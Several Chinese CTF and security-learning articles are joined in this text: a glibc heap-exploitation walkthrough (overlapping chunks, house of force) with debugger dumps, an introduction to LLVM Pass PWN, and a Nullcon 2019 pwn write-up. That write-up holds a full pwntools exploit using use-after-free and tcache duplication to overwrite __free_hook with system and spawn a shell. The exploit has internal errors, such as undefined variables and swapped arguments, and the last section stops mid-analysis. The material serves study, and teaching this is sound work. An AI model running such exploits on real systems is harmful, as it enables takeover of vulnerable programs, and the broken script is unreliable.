size = 0x20d81,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
这个时候，我们发现 chunk 2的size被修改后，吞并了 chunk3，如果我们这时候 malloc 一块 0x180 的chunk。即将会把
chunk2 和chunk3 一起分配出来。
p4 = malloc(evil_region_size); //evil_region_size = 0x180-8
当我们对 p4 进行写操作的时候
66 fprintf(stderr, "\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
67 memset(p4, '4', evil_region_size);
68 fprintf(stderr, "p4 = %s\n", (char *)p4);
69 fprintf(stderr, "p3 = %s\n", (char *)p3);
顺便把 p3 也写了。
PwnLife> x/40gx 0x603100
0x603100: 0x3131313131313131 0x0000000000000181
0x603110: 0x3434343434343434 0x3434343434343434
0x603120: 0x3434343434343434 0x3434343434343434
0x603130: 0x3434343434343434 0x3434343434343434
0x603140: 0x3434343434343434 0x3434343434343434
0x603150: 0x3434343434343434 0x3434343434343434
0x603160: 0x3434343434343434 0x3434343434343434
0x603170: 0x3434343434343434 0x3434343434343434
0x603180: 0x3434343434343434 0x3434343434343434
0x603190: 0x3434343434343434 0x3434343434343434
0x6031a0: 0x3434343434343434 0x3434343434343434
0x6031b0: 0x3434343434343434 0x3434343434343434
0x6031c0: 0x3434343434343434 0x3434343434343434
0x6031d0: 0x3434343434343434 0x3434343434343434
0x6031e0: 0x3434343434343434 0x3434343434343434
0x6031f0: 0x3434343434343434 0x3434343434343434
0x603200: 0x3434343434343434 0x3434343434343434
0x603210: 0x3434343434343434 0x3434343434343434
0x603220: 0x3434343434343434 0x3434343434343434
0x603230: 0x3434343434343434 0x3434343434343434
PwnLife> p p3
$13 = (intptr_t *) 0x603210
PwnLife> x/20gx p3
0x603210: 0x3434343434343434 0x3434343434343434
0x603220: 0x3434343434343434 0x3434343434343434
0x603230: 0x3434343434343434 0x3434343434343434
0x603240: 0x3434343434343434 0x3434343434343434
0x603250: 0x3434343434343434 0x3434343434343434
0x603260: 0x3434343434343434 0x3434343434343434
0x603270: 0x3434343434343434 0x3434343434343434
0x603280: 0x3434343434343434 0x0000000000020d81
0x603290: 0x0000000000000000 0x0000000000000000
0x6032a0: 0x0000000000000000 0x0000000000000000
PwnLife>
我们也可以去修改 p3 ，修改 p4的内容。
71 fprintf(stderr, "\nAnd if we then memset(p3, '3', 80), we have:\n");
72 memset(p3, '3', 80);
73 fprintf(stderr, "p4 = %s\n", (char *)p4);
74 fprintf(stderr, "p3 = %s\n", (char *)p3);
### 0x10 overlapping_chunks_2
同样是堆重叠问题，这里是在 free 之前修改 size 值，使 free 错误地修改了下一个 chunk 的 prev_size 值，导致中间的
chunk 强行合并。
我们这里 malloc 五块chunk，第五块的作用是防止 chunk 4 被free 后被放入 top chunk。然后这里的覆盖目标是 chunk2
到chunk4。
首先 free 掉 chunk 4
free(p4);
由于 chunk 4现在是 free 状态，这个时候 chunk 5 的presize 如下：
PwnLife> p p5
$3 = (intptr_t *) 0x603fd0
PwnLife> x/20gx p5-4
0x603fb0: 0x4444444444444444 0x4444444444444444 <--- chunk 5
0x603fc0: 0x00000000000003f0 0x00000000000003f0 <---prev size / size
0x603fd0: 0x4545454545454545 0x4545454545454545
0x603fe0: 0x4545454545454545 0x4545454545454545
0x603ff0: 0x4545454545454545 0x4545454545454545
0x604000: 0x4545454545454545 0x4545454545454545
0x604010: 0x4545454545454545 0x4545454545454545
0x604020: 0x4545454545454545 0x4545454545454545
0x604030: 0x4545454545454545 0x4545454545454545
0x604040: 0x4545454545454545 0x4545454545454545
PwnLife>
紧接着，我们假设 chunk 1 有堆溢出，我们可以通过堆溢出修改 chunk 2的size
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE
PwnLife> p p2
$4 = (intptr_t *) 0x603400
PwnLife> x/20gx p2-2
0x6033f0: 0x4141414141414141 0x00000000000007e1 <--- size
0x603400: 0x4242424242424242 0x4242424242424242
0x603410: 0x4242424242424242 0x4242424242424242
0x603420: 0x4242424242424242 0x4242424242424242
0x603430: 0x4242424242424242 0x4242424242424242
0x603440: 0x4242424242424242 0x4242424242424242
0x603450: 0x4242424242424242 0x4242424242424242
0x603460: 0x4242424242424242 0x4242424242424242
0x603470: 0x4242424242424242 0x4242424242424242
0x603480: 0x4242424242424242 0x4242424242424242
PwnLife>
chunk 2 的 size 值修改为 chunk 2 和 chunk 3 的大小之和，最后的 1 是标志位。这样当我们释放 chunk 2
的时候，malloc 根据这个被修改的 size 值，会以为 chunk 2 加上 chunk 3 的区域都是要释放的，然后就错误地修改了 chunk 5
的 prev_size。
59 fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
60 fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n");
61 free(p2);
PwnLife> p p5
$5 = (intptr_t *) 0x603fd0
PwnLife> x/20gx p5-2
0x603fc0: 0x0000000000000bd0 0x00000000000003f0 <--- prev size / size
0x603fd0: 0x4545454545454545 0x4545454545454545
0x603fe0: 0x4545454545454545 0x4545454545454545
0x603ff0: 0x4545454545454545 0x4545454545454545
0x604000: 0x4545454545454545 0x4545454545454545
0x604010: 0x4545454545454545 0x4545454545454545
0x604020: 0x4545454545454545 0x4545454545454545
0x604030: 0x4545454545454545 0x4545454545454545
0x604040: 0x4545454545454545 0x4545454545454545
0x604050: 0x4545454545454545 0x4545454545454545
PwnLife>
我们会发现，当free 掉 chunk 2 后， chunk 2 ，chunk 3 一起被释放，接着，它发现紧邻的一块 chunk 4 也是 free
状态，就把它俩合并在了一起，组成一个大 free chunk，放进 unsorted bin 中。 chunk 5 的 prev size 也发生了变化。
然后当我们申请一块新chunk的时候，会从 unsorted bin中取出一部分，比如这里我们申请一块 p6
p6 = malloc(2000);
即将 chunk 2 chunk 3 的部分拿出来。
PwnLife> p p6
$6 = (intptr_t *) 0x603400
PwnLife> x/20gx p6-2
0x6033f0: 0x4141414141414141 0x00000000000007e1
0x603400: 0x00007ffff7dd2138 0x00007ffff7dd2138
0x603410: 0x00000000006033f0 0x00000000006033f0
0x603420: 0x4242424242424242 0x4242424242424242
0x603430: 0x4242424242424242 0x4242424242424242
0x603440: 0x4242424242424242 0x4242424242424242
0x603450: 0x4242424242424242 0x4242424242424242
0x603460: 0x4242424242424242 0x4242424242424242
0x603470: 0x4242424242424242 0x4242424242424242
0x603480: 0x4242424242424242 0x4242424242424242
然后 unsorted bin中剩下的部分就是 chunk4
PwnLife> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b58 (main_arena+88) —▸ 0x603bd0 ◂— 0x7ffff7dd1b58
smallbins
empty
largebins
empty
PwnLife> x/20gx 0x603bd0
0x603bd0: 0x4343434343434343 0x00000000000003f1
0x603be0: 0x00007ffff7dd1b58 0x00007ffff7dd1b58
0x603bf0: 0x4444444444444444 0x4444444444444444
0x603c00: 0x4444444444444444 0x4444444444444444
0x603c10: 0x4444444444444444 0x4444444444444444
0x603c20: 0x4444444444444444 0x4444444444444444
0x603c30: 0x4444444444444444 0x4444444444444444
0x603c40: 0x4444444444444444 0x4444444444444444
0x603c50: 0x4444444444444444 0x4444444444444444
0x603c60: 0x4444444444444444 0x4444444444444444
PwnLife>
这个时候，chunk 6 和chunk 3就已经是同一块 chunk了。
### 0x11 house_of_force
Exploiting the Top Chunk (Wilderness) header in order to get malloc to return
a nearly-arbitrary pointer
house_of_force 是一种通过改写 top chunk 的 size 字段来欺骗 malloc
返回任意地址的技术。我们知道在空闲内存的最高处，必然存在一块空闲的 chunk，即 top chunk，当 bins 和 fast bins
都不能满足分配需要的时候，malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。
首先随便 malloc 一个 chunk
PwnLife> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000111
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
PwnLife>
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000020ef1 <--- top chunk
0x603120: 0x0000000000000000 0x0000000000000000
0x603130: 0x0000000000000000 0x0000000000000000
这个时候我们假设 第一个chunk 有溢出漏洞，我们可以去修改。top chunk 的size
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
PwnLife> x/20gx 0x603100
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0xffffffffffffffff <--- top chunk
0x603120: 0x0000000000000000 0x0000000000000000
0x603130: 0x0000000000000000 0x0000000000000000
0x603140: 0x0000000000000000 0x0000000000000000
0x603150: 0x0000000000000000 0x0000000000000000
0x603160: 0x0000000000000000 0x0000000000000000
0x603170: 0x0000000000000000 0x0000000000000000
0x603180: 0x0000000000000000 0x0000000000000000
0x603190: 0x0000000000000000 0x0000000000000000
我们发现，这个时候size被修改为一个 大数。
现在我们可以 malloc 一个任意大小的内存而不用调用 mmap 了。接下来 malloc 一个 chunk，使得该 chunk
刚好分配到我们想要控制的那块区域为止，这样在下一次 malloc 时，就可以返回到我们想要控制的区域了。计算方法是用目标地址减去 top chunk
地址，再减去 chunk 头的大小。
67 unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
68 fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
69 "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
70 void *new_ptr = malloc(evil_size);
这样就成功把。bss_var 给分配了出来
0x602050 PREV_INUSE {
prev_size = 0x0,
size = 0x10b9,
fd = 0x2073692073696854,
bk = 0x676e697274732061,
fd_nextsize = 0x6577207461687420,
bk_nextsize = 0x6f7420746e617720
}
0x603108 {
prev_size = 0x0,
size = 0x0,
fd = 0xffffffffffffef41,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
PwnLife> x/20s 0x602050
0x602050: ""
0x602051: ""
0x602052: ""
0x602053: ""
0x602054: ""
0x602055: ""
0x602056: ""
0x602057: ""
0x602058: "\271\020"
0x60205b: ""
0x60205c: ""
0x60205d: ""
0x60205e: ""
0x60205f: ""
0x602060 <bss_var>: "This is a strin"...
0x60206f <bss_var+15>: "g that we want "...
0x60207e <bss_var+30>: "to overwrite."
0x60208c: ""
0x60208d: ""
0x60208e: ""
PwnLife>
该技术的缺点是会受到 ASLR 的影响，因为如果攻击者需要修改指定位置的内存，他首先需要知道当前 top chunk 的位置以构造合适的 malloc
大小来转移 top chunk。而 ASLR 将使堆内存地址随机，所以该技术还需同时配合使用信息泄漏以达成攻击。 | 社区文章 |
> CISCN和强网就出了LLVM PASS PWN，笔者没有接触过就直接跳过了，但是随着pwn的难度越来越高LLVM PASS
> PWN在笔者看来出题的次数会越来越多，笔者写下这一系列文章来记录学习LLVM PASS PWN，如有错误欢迎指正
# LLVM PASS PWN（一）
## 前置知识简述
### 为什么要编译程序
机器语言是用1和0组成的代码，但机器是识别不了1和0的，更具体的是如何识别的呢？对机器电路进行设计之后，机器能识别高电平还是低电平，刚好与2进制很相似，想输入0就给机器输入低电平，想输入1，就给机器输入高电平，所以就看到了1和0的表示形式
机器语言它是计算机唯一能识别和执行的语言，但它的直观性差，可读性差，比如一串`11110000111100001111`机器可以快速识别是什么但是我们很难理解，再比如我们想要在屏幕上输出hello
world那我们该如何用二进制来表示呢，所以汇编语言就诞生了
汇编语言用助记符来表示机器指令中的操作码和操作数的指令系统，如a = 1，我们不需要去用二进制来理解，我们完全可以利用mov a,
1进行理解，那有没有更简单的方法呢，比如现在要输出hello wrold，还是需要十几行的汇编代码的，所以高级语言就诞生了
高级语言是一种更接近人类的自然语言和数学语言的语言，比如想要a = 1，很直观就是a = 1，在很大程度上减少编程人员的编写量
但是问题来了，机器只懂0和1那怎么才能让高级语言被机器识别，所以就有了编译，将高级语言（源语言）翻译成汇编语言或机器语言（目标语言），编译的根本目的就是把源代码变成目标代码
### 编译的过程是什么
编译过程主要可以划分为前端与后端，笔者用一张图简述一下
前端把源代码翻译成IR，后端把IR编译成目标平台的机器码，这里笔者在查阅资料的时候发现有些会将生成中间代码放入前端，而有些资料会将生成中间代码放入后端
在词法分析中编译器读入源代码，经过词法分析器识别出Token，比如词法分析器中识别出的Token可以是`int, return, {, }`等
在语法分析中会把上面的Token串给转换成一个抽象语法树AST，AST树反映了程序的语法结构
在语义分析中需要做的任务是理解语义，语句要做什么，如for是需要去实现循环，if是判断等
在前端完成之后，会生成中间代码，统一优化中间代码，再去将中间代码生成目标代码
前置知识这里笔者简述了一下，具体的可以移步编译原理
## LLVM
### LLVM IR & LLVM Pass
`gcc`这个最经典的编译器提供的是一整套服务，前端和后端耦合在了一起，导致了如果一个新的编程语言出现可能需要设计一个新的IR以及实现这个IR的后端，如果出现了一个新的平台就要实现一个从自己的IR到新平台的后端，针对此类问题就出现了LLVM
不同的前后端使用统一的中间代码，这样一个新的编程语言出现只需要实现一个新的前端，如果出现了一个新的平台只需要实现一个新的后端
LLVM IR有三种表示形式
* 可读IR，类似汇编代码，可以给人看的，后缀`.ll`
* 不可读二进制IR，后缀`.bc`
* 保存在内存中，内存格式
LLVM Pass 是一个框架设计，是LLVM系统里重要的组成部分，因为LLVM
Pass负责LLVM编译器绝大部分的工作，一系列的Pass组合，构建了编译器的转换和优化部分，抽象成结构化的编译器代码。
在实现上，LLVM的核心库中会给你一些 Pass类 去继承。你需要实现它的一些方法。
最后使用LLVM的编译器会把它翻译得到的IR传入Pass里，给你遍历和修改。
LLVM Pass的用处是插桩，机器无关的代码优化，静态分析，代码混淆等
### LLVM 工具
以下内容来自[LLVM Pass入门导引](https://zhuanlan.zhihu.com/p/122522485)
* `llvm-as`：把LLVM IR从人类能看懂的文本格式汇编成二进制格式。注意：此处得到的 **不是** 目标平台的机器码。
* `llvm-dis`：`llvm-as`的逆过程，即反汇编。 不过这里的反汇编的对象是LLVM IR的二进制格式，而不是机器码。
* `opt`：优化LLVM IR。输出新的LLVM IR。
* `llc`：把LLVM IR编译成汇编码。需要用`as`进一步得到机器码。
* `lli`：解释执行LLVM IR。
## Clang
Clang 是 LLVM 的前端，可以用来编译 C，C++，ObjectiveC 等语言。Clang
的功能包括：词法分析、语法分析、语义分析、生成中间中间代码LLVM Intermediate Representation (LLVM IR)。
## LLVM & Clang环境安装 & 工具测试
ubuntu20.04下安装LLVM + Clang如下
> sudo apt install clang-12
>
> sudo apt install clang-8
>
> sudo apt install llvm-12
>
> sudo apt install llvm-8
llvm-12安装之后可以使用opt-12，今年的ciscn的LLVM PASS
PWN就是opt-12，一般题目都会给出opt的版本。ubuntu20.04应该自带opt-10如果没有的话，`sudo apt install
clang-10 && sudo apt install llvm-10`
上面的做题环境都安装完成之后，先写一个c文件，利用Clang将c文件编译成`.ll, .bc`等格式看一下是否是如上所说，c文件如下
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv){
char name[0x20];
puts("hello world");
puts("plz input your name");
read(0, name, 0x1F);
printf("biubiubiu");
return 0;
}
首先是`.c->.ll`，`clang-12 -emit-llvm -S test.c -o test.ll`，test.ll(生成的IR文本文件)如下
; ModuleID = 'test.c'
source_filename = "test.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [12 x i8] c"hello world\00", align 1
@.str.1 = private unnamed_addr constant [20 x i8] c"plz input your name\00", align 1
@.str.2 = private unnamed_addr constant [10 x i8] c"biubiubiu\00", align 1
; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main(i32 %0, i8** %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i8**, align 8
%6 = alloca [32 x i8], align 16
store i32 0, i32* %3, align 4
store i32 %0, i32* %4, align 4
store i8** %1, i8*** %5, align 8
%7 = call i32 @puts(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0))
%8 = call i32 @puts(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.1, i64 0, i64 0))
%9 = getelementptr inbounds [32 x i8], [32 x i8]* %6, i64 0, i64 0
%10 = call i64 @read(i32 0, i8* %9, i64 31)
%11 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.2, i64 0, i64 0))
ret i32 0
}
declare dso_local i32 @puts(i8*) #1
declare dso_local i64 @read(i32, i8*, i64) #1
declare dso_local i32 @printf(i8*, ...) #1
attributes #0 = { noinline nounwind optnone uwtable "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" }
!llvm.module.flags = !{!0}
!llvm.ident = !{!1}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"Ubuntu clang version 12.0.0-3ubuntu1~20.04.5"}
上面的IR很直观，之前提到LLVM PASS的一个用处是优化IR代码，会将上面的可以优化的进行优化
其次是`.c->.bc`，`clang-12 -emit-llvm -c test.c -o test.bc`，bc是不可读二进制
然后是`.ll -> .bc`，`llvm-as test.ll -o test.bc`，结果和上面的一样
接着是`.bc - > .ll`，`llvm-dis test.bc -o test.ll`，同上
最后还有一个`.bc -> .s`， `llc test.bc -o test.s`，将字节码的二进制格式文件转换为本地的汇编文件
.text
.file "test.c"
.globl main # -- Begin function main
.p2align 4, 0x90
.type main,@function
main: # @main
.cfi_startproc
# %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl $0, -8(%rbp)
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
movabsq $.L.str, %rdi
callq puts
movabsq $.L.str.1, %rdi
callq puts
leaq -48(%rbp), %rsi
xorl %edi, %edi
movl $31, %edx
callq read
movabsq $.L.str.2, %rdi
movb $0, %al
callq printf
xorl %eax, %eax
addq $48, %rsp
popq %rbp
.cfi_def_cfa %rsp, 8
retq
.Lfunc_end0:
.size main, .Lfunc_end0-main
.cfi_endproc
# -- End function
.type .L.str,@object # @.str
.section .rodata.str1.1,"aMS",@progbits,1
.L.str:
.asciz "hello world"
.size .L.str, 12
.type .L.str.1,@object # @.str.1
.L.str.1:
.asciz "plz input your name"
.size .L.str.1, 20
.type .L.str.2,@object # @.str.2
.L.str.2:
.asciz "biubiubiu"
.size .L.str.2, 10
.ident "Ubuntu clang version 12.0.0-3ubuntu1~20.04.5"
.section ".note.GNU-stack","",@progbits
## 编写第一个LLVM Pass
通过前面的知识之后，现在可以尝试编写“hello
world”的pass，下面是[官方](https://llvm.org/docs/WritingAnLLVMPass.html)的示例
#include "llvm/Pass.h"
#include "llvm/IR/Function.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"
using namespace llvm;
namespace {
struct Hello : public FunctionPass {
static char ID;
Hello() : FunctionPass(ID) {}
bool runOnFunction(Function &F) override {
errs() << "Hello: ";
errs().write_escaped(F.getName()) << '\n';
return false;
}
}; // end of struct Hello
} // end of anonymous namespace
char Hello::ID = 0;
static RegisterPass<Hello> X("hello", "Hello World Pass",
false /* Only looks at CFG */,
false /* Analysis Pass */);
static RegisterStandardPasses Y(
PassManagerBuilder::EP_EarlyAsPossible,
[](const PassManagerBuilder &Builder,
legacy::PassManagerBase &PM) { PM.add(new Hello()); });
先声明pass本身，然后声明了一个`Hello`类，它是FunctionPass的子类。稍后将详细描述不同的内置pass子类，但是现在知道FunctionPass一次对一个函数进行操作。
然后声明了LLVM用于标识pass的pass标识符。 这允许LLVM避免使用昂贵的C ++运行时信息，如下
static char ID;
Hello() : FunctionPass(ID) {}
然后声明了一个runOnFunction方法，它覆盖了从FunctionPass继承的抽象虚方法。
这是我们应该做的事情，所以我们只用每个函数的名称打印出我们的消息。代码如下
bool runOnFunction(Function &F) override {
errs() << "Hello: ";
errs().write_escaped(F.getName()) << '\n';
return false;
}
}; // end of struct Hello
} // end of anonymous namespace
接着初始化passID。 LLVM使用ID的地址来标识pass，因此初始化值并不重要。代码如下
char Hello::ID = 0;
最后，我们注册我们的类Hello，给它一个命令行参数“hello”，并命名为“Hello World Pass”。
最后两个参数描述了它的行为：如果传递遍历CFG而不修改它，那么第三个参数设置为true;
如果pass是分析pass，例如支配树pass，则提供true作为第四个参数。代码如下
static RegisterPass<Hello> X("hello", "Hello World Pass",
false /* Only looks at CFG */,
false /* Analysis Pass */);
如果我们想将通道注册为现有管道的一个步骤，则提供了一些扩展点，例如`PassManagerBuilder::EP_EarlyAsPossible`在任何优化之前应用我们的通道，或者`PassManagerBuilder::EP_FullLinkTimeOptimizationLast`
在链接时间优化之后应用它。代码如下
static llvm::RegisterStandardPasses Y(
llvm::PassManagerBuilder::EP_EarlyAsPossible,
[](const llvm::PassManagerBuilder &Builder,
llvm::legacy::PassManagerBase &PM) { PM.add(new Hello()); });
现在需要将这个Pass编译成模块，使用如下命令即可
clang-12 `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`
现在应该会看到LLVMHello.so这个文件，通过官方文档可知需要使用以下命令
opt -load LLVMHello.so -hello test.ll
这里的 -hello由Hello.cpp中的`static RegisterPass<Hello> X`参数决定
但是笔者这里报了一个错`Error opening 'LLVMHello.so': LLVMHello.so: cannot open shared
object file: No such file or
directory`，这是因为linux无法在默认地址找到LLVMHello.so，解决很简单`sudo cp LLVMHello.so /lib`
成功输出test.c所有函数名称
## 对第一个LLVM Pass逆向分析
刚刚生成了LLVMHello.so这个pass文件，比赛题和上面也一样，会重写`FunctionPass`类中的`runOnFunction`函数，所以我们对上面的示例程序进行逆向分析，看一下虚表位置这样方便比赛的时候确定每个函数的位置
跟进RegisterPass
发现调用了callDefaultCtor进行对象创建，跟进它
给Hello对象分配了0x20个空间，跟进Hello
看到虚表了，直接跟进
`runOnFunction`函数位于虚表中的最后一个位置，因为runOnFunction函数被我们重写了，所以它指向的是我们自定义的那个函数，比赛题的漏洞基本就是这个，所以在做LLVM
Pass pwn的时候定位函数的位置可以从虚表入手
## 总结
收获很大，从编译过程到LLVM，加固了计算机底层的一些知识，知道了LLVM PASS PWN该怎么入手，以前看到LLVM PASS
PWN的时候都不知道怎么运行（XD），这里第一篇就结束了，后面笔者会继续更新
## Reference
<https://zhuanlan.zhihu.com/p/130702001>
<https://zhuanlan.zhihu.com/p/122522485>
<https://www.homedt.net/196837.html>
<https://llvm.org/docs/WritingAnLLVMPass.html> | 社区文章 |
# Nullcon2019-pwn详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
题目还是比较有难度和借鉴意义的，可以开拓师傅的思路，大佬勿喷
## shop
这道题刚开始`leak libc`的时候忽略了libc是2.27，亏沈师傅还能用mollac_hook在本地打通。。。
#### 题目分析
没有开pie，可喜可贺可喜可贺。
和标准的堆题相比，少了edit功能，也就是说必须在add时构造好堆。
看看add函数
可以总结出其结构体
name{
idx;
*name_chunk;
cp_stmt; #这是程序内的一段字符串，可以修改
}
再看看delete函数
that’s good! use after free！看来这道题不是很难了。
同理的view函数
仔细看可以发现一个格式化字符串漏洞，但我觉得这是一个非预期解，故这里还是用传统的堆利用解题。师傅们有兴趣可以对该漏洞进行深入利用。
#### 漏洞利用
第一步，结合name结构题和uaf，控制name->name_chunk
my_add(0x50,"aaaa")
my_add(0x50,"bbbb")
my_add(0x50,"cccc") #num=3 用于防止与top_chunk合并
delete(0) # num=2
delete(1) # num=1
# 这时的tcache中为 size=0x40 size=0x60 size=0x40 size=0x60
payload=p64(0)+p64(e.got["free"])
my_add(0x38,payload) # 获得了两个size=0x40的chunk，并且把name->*name_chunk改为free_got
第二步，我们再利用view功能就能leak libc
p.recvuntil(""name": "")
free_addr=p.recvuntil(""")[:-1].ljust(8,'x00')
free_addr=u64(free_addr)
print "free_addr->"+hex(free_addr)+" done"
offset=free_addr-libc.symbols["free"]
在`https://libc.blukat.me`上查询得到libc版本为2.27，那么我们接下来的利用就要考虑tcache了，之前可以假装不知道。
tcache是ubuntu18.04引入的技术，其检查要比传统的堆宽松的多，所以利用起来也比较简单。个人认为在tcache相关的更新还没发布前tcache的利用应该要取代比赛中的入门堆题。
第三步，控制hook或者got表，然getshell
my_add("4", 0x50)
my_add("5", 0x50) #清空tcache
my_add("6", 0x68)
my_add("/bin/shx00", 0x68) #7
my_add("/bin/shx00", 0x38)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
delete(6)
delete(6) #厉害吧，连续两次delete同一个chunk，程序没有报错
delete(8) #防止size为0x40的chunk用完
my_add(p64(offset+e.symbols["__free_hook"]), 0x68)
my_add("consume", 0x68)
my_add(p64(e.got["system"]+offset), 0x68)
#fastbin dup的正常操作，但是tcache就是能不构造fake_chunk直接分配，简直爽到
delete(8) #为free_hook传入"/bin/shx00"参数，调用system() getshell
最后附上完整的exp
from pwn import *
g_local=True
context.log_level='debug'
p = ELF('./challenge')
e = ELF("./libc6_2.27.so")
if g_local:
p = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'}
ONE_GADGET_OFF = 0x4526a
UNSORTED_OFF = 0x3c4b78
gdb.attach(sh)
else:
ONE_GADGET_OFF = 0x4526a
UNSORTED_OFF = 0x3c4b78
p = remote("pwn.ctf.nullcon.net", 4002)
#ONE_GADGET_OFF = 0x4557a
def my_add(size,name,price=0):
sleep(0.1)
p.sendlineafter("> ","1")
p.sendlineafter("Book name length: ",str(size))
p.sendafter("Book name: ",name)
p.sendlineafter("Book price: ",str(price))
def delete(idx):
p.sendlineafter("> ","2")
p.sendlineafter("Book index: ",str(idx))
def show():
p.sendlineafter("> ","3")
my_add(0x50,"aaaa")
my_add(0x50,"bbbb")
my_add(0x50,"cccc") #num=3 用于防止与top_chunk合并
delete(0) # num=2
delete(1) # num=1
# 这时的tcache中为 size=0x40 size=0x60 size=0x40 size=0x60
payload=p64(0)+p64(e.got["free"])
my_add(0x38,payload) # 获得了两个size=0x40的chunk，并且把name->*name_chunk改为free_got
p.recvuntil(""name": "")
free_addr=p.recvuntil(""")[:-1].ljust(8,'x00')
free_addr=u64(free_addr)
print "free_addr->"+hex(free_addr)+" done"
offset=free_addr-libc.symbols["free"]
my_add("4", 0x50)
my_add("5", 0x50) #清空tcache
my_add("6", 0x68)
my_add("/bin/shx00", 0x68) #7
my_add("/bin/shx00", 0x38)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
delete(6)
delete(6) #厉害吧，连续两次delete同一个chunk，程序没有报错
delete(8) #防止size为0x40的chunk用完
my_add(p64(offset+e.symbols["__free_hook"]), 0x68)
my_add("consume", 0x68)
my_add(p64(e.got["system"]+offset), 0x68)
#fastbin dup的正常操作，但是tcache就是能不构造fake_chunk直接分配，简直爽到
delete(8) #为free_hook传入"/bin/shx00"参数，调用system() getshell
p.interactive()
## babypwn
说的babypwn如果不知道scanf的新绕过方法那也做不出来这个的题目的，如果知道那这个题目就是babypwn了。
### 静态分析
#### main
首先输入一个才能进入下面的循环，大概的程序就是先师傅name然后再输入how many
coins，这里的漏洞有两个一个是格式化字符串一个是栈溢出，因为length可以自己控制输入-1就可以进行一个栈溢出的漏洞了。但是还是不太清楚利用的方法，这里我们往下看保护。
#### checksec
首先这里又个Full
RELRO所以不可能去做一些格式化字符串改got表重复利用漏洞的操作，所以现在就考虑printf用来作为泄漏的操作了。接下来看一下存在canary可能需要进行一个泄漏。
### 动态分析
这里我的测试输入是
`y->1->1->12`而12的16进制数就是0xc，因为在printf（即0x4006d0）并没有看见其他什么可泄漏的libc函数，这里就有一个想法就是在这里输入一些got表的地址然后用%s来进行指针的泄漏，所以这里可以试试进行一个地址泄漏，来查询libc和泄漏偏移。
这里我的输入是如上图，这里之所以要输入0是因为int是4位的一个地址是8位不能让后面的地址打乱了我们输入的指针地址。接下来就是我们的效果图了。
